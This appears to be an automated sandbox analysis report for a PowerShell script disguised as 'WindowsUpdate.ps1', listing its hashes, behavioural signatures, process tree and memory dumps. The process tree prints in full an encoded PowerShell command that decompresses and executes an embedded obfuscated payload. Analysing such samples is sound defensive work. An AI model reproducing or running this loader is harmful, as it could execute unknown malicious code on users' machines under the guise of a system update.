Analysis

  • max time kernel
    162s
  • max time network
    120s
  • platform
    windows7_x64
  • resource
    win7-20230831-en
  • resource tags

    arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
  • submitted
    23-09-2023 07:51

General

  • Target

    WindowsUpdate.ps1

  • Size

    9KB

  • MD5

    11159d6a99b66a8f158f7410350ca727

  • SHA1

    efbffc809d1645bc196231951aa1e7f695180cd3

  • SHA256

    7c846629e0c60135165a240803e8df5a9e5d4a8588b903d431d07e7a63c508b3

  • SHA512

    0f6b91bbaa24c8478d80026d8eca9e3559c6b0524157c48040c216ab38ef9fe168e4c10e09b7604ea6b8b8ed1cc96f32d94438439e6b9ea1fb2e347b5944992d

  • SSDEEP

    192:BJEaBB8CMPVQwdja9Pfx6ShbaHAIUtb1LjtsBJ5WzeBydapie2ISrt:BFBB8NRa9PgShbaHHUtbJeP5WzEydapG

Score
5/10

Malware Config

Signatures

  • Drops file in System32 directory 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 30 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of FindShellTrayWindow 55 IoCs
  • Suspicious use of SendNotifyMessage 54 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\WindowsUpdate.ps1
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1692
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -E cwBhAGwAIABhACAATgBlAHcALQBPAGIAagBlAGMAdAA7AGkAZQB4ACgAYQAgAEkATwAuAFMAdAByAGUAYQBtAFIAZQBhAGQAZQByACgAKABhACAASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARABlAGYAbABhAHQAZQBTAHQAcgBlAGEAbQAoAFsASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AXQBbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACcAcABWAFYAYgBiADkAcABJAEYASAA3AG4AVgA0AHcAUQBrAHEARQBzAGgARQB1AEMAYQBCAEQAUwBBAGoARwB4AGsAMgBBAE0ATgByAGUARQBLAEUAegBzAEEAZAB6AFkATQArADUANABEAEQAZwBwAC8AMwAyAFAATQBhAFIAdABXAG4AVwBsADMAUgBkADcAegBtAFgATwA1AFQAdQBYAFMAUwAxAEQAYQBnAG0ASABVAFQAVAB5AGIAUwB4AEkAWQBlAEoAUQBtADIAMgBEAHQANQBTAE8ATwBmAGEAeQBEADgAYgBXAEUAZABiADYATQBhAE0AVABIAGoAaQBCAHkASwBVAHkATQB1AGUATQB0AHcANgBYAGQARQA2AFcAaABCAE4AcQBrAGEAWgBrAE8AQwA2AGgAdwBvADAANgBqAEEAcQBIAGgAawBSAEsAWgBRAHkATABPADcANQBvAHYAZwBYAFkAUgBSAGgAcABaAEYAdgBvAFAAMwA4AGgAbABtAGcANABaAEoAZgBGAFMATwAwAFgARABjAEUASgA5AG8AWQBFADIANABSAG4ARQAxAGEASABlAFQANABuAFEAUQBEAG0AaQAxAGQAawA2AFUASgBRAGkAVgBiADIAQQBhAFEAOQA0AGoARQBlAEoAWQB6AEgAQgAvAEMAMQBJAFYAdwA4AFgAbAA1ADIATwBmAFAAYQBPAEMAQwAxAGMANQBBADUAZABKAFcAVgB6AE4AbgBuAHQAbABIAFgAVwByAEkANgAzAGEAeQBYAE4AVwBVADIAZgBuAG0ANQBtAGMAegBNADQAZABWAE8AdABuAGoAYgAyAGMANgAwADIAZABmAGIAaQBWAEsAUgBkAGMATQBNAHkAMAA3AGcAaQBzAHAATgBxAGQATABKAGEAMwBuAGIASAAxADcAVQByAHUAKwAvAFYATwAvADUAZQBWAFgAZABsAFUAWgBNAEMAWgBUAHoAbAAzAFUAcABFAHQAcgBJAEsAeQBuAGwAUwBiAGYAUABwAHoAYwBXAHMAVgBYADkAcQAzAEYAYgBhAGQAMwAzAHkANwBzAHAAOQBUADUAUAB5AHMAOQA5AGYATgBZAHIAVQAyAHQAZAB1ADkARQBIAFgAYgBkADMATgBxAEcAYQBNAHQAUwBDACsAdgBTAFYAegArAHIAcgAxAGwAbgAxAHQAcQByAFcAdQA3AEoASABLADUAMQBSAFMAZQB2ADMAdQA4ACsANwA3AFkAVgA1AFAAYgB5AHkASABlAEsAOQBuAEcAdABsAFcAWABiAHQAZQA3AFcAKwAwAG8AeQBCAHQAcAAxAE4AbQBNADEAbgByADIAMwA1AFcAagB2AGYAMABmAHAAVQBHAHgAbwAxAHAANwBTAFoAdgBvADUAdgBkAEwATwAxAEgAaQBqADUAKwAyAGMAegB1AE4AVgA4AC8ALwBWAHMAbwAwAFMAQwBEAFcAYQA3AFcAMAB1ADEAcwBhADUAVgBOAC8AZgA1AHAAZQAxAFAAMQB5ADIAbQBYAFAAVABYAGsAVABiAGwAbgBUAEcAdgA1AEwAOQB1AHgAMgBmAFIAagBiADIAaABuAGYAcwA2ADkAdgAyAEwAcgBVAHoAYQA5AGkAWgBjADcAbQBiAEwANQBhAEIAOQBsAFcAKwAxAG0AawAwAHAAOQA5AGYARABoADEATAA4AGMATwA0AHgAbQB3AEQAawBWADgAUQA2ADgAbgBLAGcAYgBwAEsAZABLAE0AcgBVAFkAagBhAGcARAA5AEsAVwAwAFYASABWAFgASwA0AFkAMQA5AFoAawBNAHIAVwB6AHUAWAAzAEsAVwBXAGIAZgBHACsAawB0AHAAcQBDAC8AaQBCAFYAeQBSADAAUgBGAEgAYwBwAG0ATwBUADUAMgBpADgAYwBXAGYARwBjADgALwBrAEYASgB0AGEASABwAFEAQQBJAGUAcgA0AG4AbwBoAEIAeQA2AFUAVwBUAEIAcgB4AHEAbwBkAE0AaABjADgAaQBjAFAANwBkAEIAeABSAGEATAAyAEsATABWAHMAegA2AEUAUQBHAE0AZQBDAGMAUwBtAFgAUwA3ADEAbABkAE0ANgBXAHoAWQB3ACsANwBIAGYAVgBPADcAbgBZAGMAdAAxAFIAQQBNAEgARABYADIARwBCAEMAQgBvAFoASABVAGMAdQB3ADMAWQB6AHYAYwBoADAAdwBSAEwAaABUAFkATwBJAHcAcwBSAHoAVgBCAG8ASQBEAEYATwBCAEMAaAAwAFgAQgB3AEYANgBlAHAASQAzAEUARgBlAGkAaABBAG8AYQA5AGsAagBnAFkANQBBAHYAMABwAHcAeABNAFEALwBDADUAKwBBAHcASwA0AEQAdQBJAG8AMABLAEwAYgA0AEsAUABiAGcAUQBvAEwALwBmAEsAQwBnADMAcABXAFEANgB1AGQAUQA0AEcASQBvAE4ARwBMAEcAQgBwAG4AUwA0ADMAMwBHADgAYwBVAFYAcQBEAEUATABDAG8AegB0AE0AVgB5AEYAZQBrAGUAWQBpAFAAUgBuAGMATABkAEkASgBGAHkAaABEAHYAcABNADcASgB2AHEARQB1AHMATgArAEQAMABJADYAQgBRAG4AbABkAEoAYQBPAGgAVwBQAG4AQgArAHQAbwBvAHAAcQBLAHEAcQBGAGEAQwBVADAAVQBlAFMAZwBqAEUALwBNAFYARQBlADkASgBxAFUAWQBMAFMAUQBCAGgAdABmAEoAMAB4AHkAegBzAG0AbwA1AEgASgBOAFQAUwByAGoANABvAEYAaABVAFcAYwB0AFIARQA1AFkAdgBmAEMAWAB1AHcASgBBAFEAQgBjAGEAbQBFAHIAbwBmADkAawBmADcAZAA3AFMASwA5AGIAeQB3AHkATQBOAHcAQgBvAFAAQQBiAFUAUAA4AFYAdgB3AFIAMQBDAFgAcgBXAHcAOQBTACsAYwB5AGcANQBKAEgAYQB5AEsAUAAyAE0ATQBQAG8AQQA4AFEALwBYAFQATwBMADUAOABRAFkAQwArAEIAYQBaADcAQwBJAGoAMAA4ADIAbABFAFEAVwBDAGUARQBQAHcAbQA1AHMAbgA1ADIAcABsAGYAdQBwAFoAdABpAFgAYwBXAEIAUABYAG4AVwAvAEsAeABkAEwAYwBqACsAawBnAHAAbwB0AGsARgAwAGYATwBxAEUAcgBCAEMAWQBiADEAdQBTAEYAUQBuAEcASAA0AEkAOABPAE4AbQB0AEkAUwB1AHcARwBSADkAbwAzAC8AbQB2AFgAVABVADkASgBtAEoAagB1AGwAMgA0AGIAWQBZAEMAaAAvAFQAdgByAFkAcwBLAGYATwBiAGIAeQBqAC8AUgAzADQAUABmAHEARwArAHEARQBvAGEASwBIAHIAcAB2AGMAcABBAG4ASAA5AE0AaABUAEgAaQBZAHMASAA0ADkAZQA1AGsATwBLAFYAcgB3AEoAQQBjAE0AZQBIAFAAUgAyAGgAZwBvADcARgBHAGkAbQAzAG4AZABHAGwAdwBaAFoAaQBpAHoAbQBaADkAeAB5AEwAcwB3AEMAbwBFADQAagB6AG8AOQBGAHgAdgBDAGsAWQBuAFEATgBHADgAeQBUADkANAB5AE0ARgBJADMAUwB5AGEARQBZACsAUQBjAG4ASwBSADQAVQB4AGQAawBPAEMAMABvAHQAMABKAHYAcwAvAEsAeABYAEQAKwBYAE8AdAAwAFAARgBsAE4ARQBUAGsARQBxAFEANABOAGkAeQBlAHQATABSAFAAZQBTACsAMgB3ADEASABXADgARgAxAEgASgBOAG4AQgBOADQANABlAEgAWgBEAEsAcABiAEkAcgA2ADMAaABFAGUAWgBTAFYAawBBAFEAVABXAEkATwBlAHoANgBQAGoAKwA1AGoANwBGAG8ATQBNAFoAUwBDAEoASABpAHAAMABXAFEAcABlAFMASABUAEMAOABkAHUAcABDAEsAawBKADcARABGAFMAQQBOAEkAUAB4AGIAdgA0AHYAVABLAEoAdQBhAEoASwBOACsAeQBGAHgATwB0ADIALwArAEYAUgBoADkAQwBTADUAWgB0AEsALwBRAE0APQAnACkALABbAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQApACwAWwBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApACkALgBSAGUAYQBkAFQAbwBFAG4AZAAoACkA
      2⤵
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2976
  • C:\Windows\system32\taskmgr.exe
    "C:\Windows\system32\taskmgr.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    PID:1044

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

    Filesize

    7KB

    MD5

    d6a51cd83a6563a3b8742cc40c1e0268

    SHA1

    c92844493b10042b8e4af5bca83947f7f87be23f

    SHA256

    b891cda4004f78291c71bbead56691ed9459bdc6bd63be2e3d3fc2e1189321e2

    SHA512

    923534e89b2c8517a419ca83a3d1f7a3086e0f93bfb03357ac9d954645c00f1e54f1df80012c9d0aae0f4bd156eb076442d4854cbfc5a3bd953c8ee4047dfc49

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\NT5767WOKCFR4JZTQEXO.temp

    Filesize

    7KB

    MD5

    d6a51cd83a6563a3b8742cc40c1e0268

    SHA1

    c92844493b10042b8e4af5bca83947f7f87be23f

    SHA256

    b891cda4004f78291c71bbead56691ed9459bdc6bd63be2e3d3fc2e1189321e2

    SHA512

    923534e89b2c8517a419ca83a3d1f7a3086e0f93bfb03357ac9d954645c00f1e54f1df80012c9d0aae0f4bd156eb076442d4854cbfc5a3bd953c8ee4047dfc49

  • memory/1044-27-0x0000000140000000-0x00000001405E8000-memory.dmp

    Filesize

    5.9MB

  • memory/1044-26-0x0000000140000000-0x00000001405E8000-memory.dmp

    Filesize

    5.9MB

  • memory/1044-25-0x0000000140000000-0x00000001405E8000-memory.dmp

    Filesize

    5.9MB

  • memory/1044-24-0x0000000140000000-0x00000001405E8000-memory.dmp

    Filesize

    5.9MB

  • memory/1692-23-0x000007FEF5450000-0x000007FEF5DED000-memory.dmp

    Filesize

    9.6MB

  • memory/1692-4-0x000000001B340000-0x000000001B622000-memory.dmp

    Filesize

    2.9MB

  • memory/1692-9-0x0000000002800000-0x0000000002880000-memory.dmp

    Filesize

    512KB

  • memory/1692-5-0x0000000002300000-0x0000000002308000-memory.dmp

    Filesize

    32KB

  • memory/1692-10-0x0000000002800000-0x0000000002880000-memory.dmp

    Filesize

    512KB

  • memory/1692-7-0x0000000002800000-0x0000000002880000-memory.dmp

    Filesize

    512KB

  • memory/1692-6-0x000007FEF5450000-0x000007FEF5DED000-memory.dmp

    Filesize

    9.6MB

  • memory/1692-8-0x000007FEF5450000-0x000007FEF5DED000-memory.dmp

    Filesize

    9.6MB

  • memory/2976-17-0x00000000029F0000-0x0000000002A70000-memory.dmp

    Filesize

    512KB

  • memory/2976-22-0x000007FEF5450000-0x000007FEF5DED000-memory.dmp

    Filesize

    9.6MB

  • memory/2976-21-0x00000000029F0000-0x0000000002A70000-memory.dmp

    Filesize

    512KB

  • memory/2976-20-0x00000000029F0000-0x0000000002A70000-memory.dmp

    Filesize

    512KB

  • memory/2976-18-0x000007FEF5450000-0x000007FEF5DED000-memory.dmp

    Filesize

    9.6MB

  • memory/2976-16-0x000007FEF5450000-0x000007FEF5DED000-memory.dmp

    Filesize

    9.6MB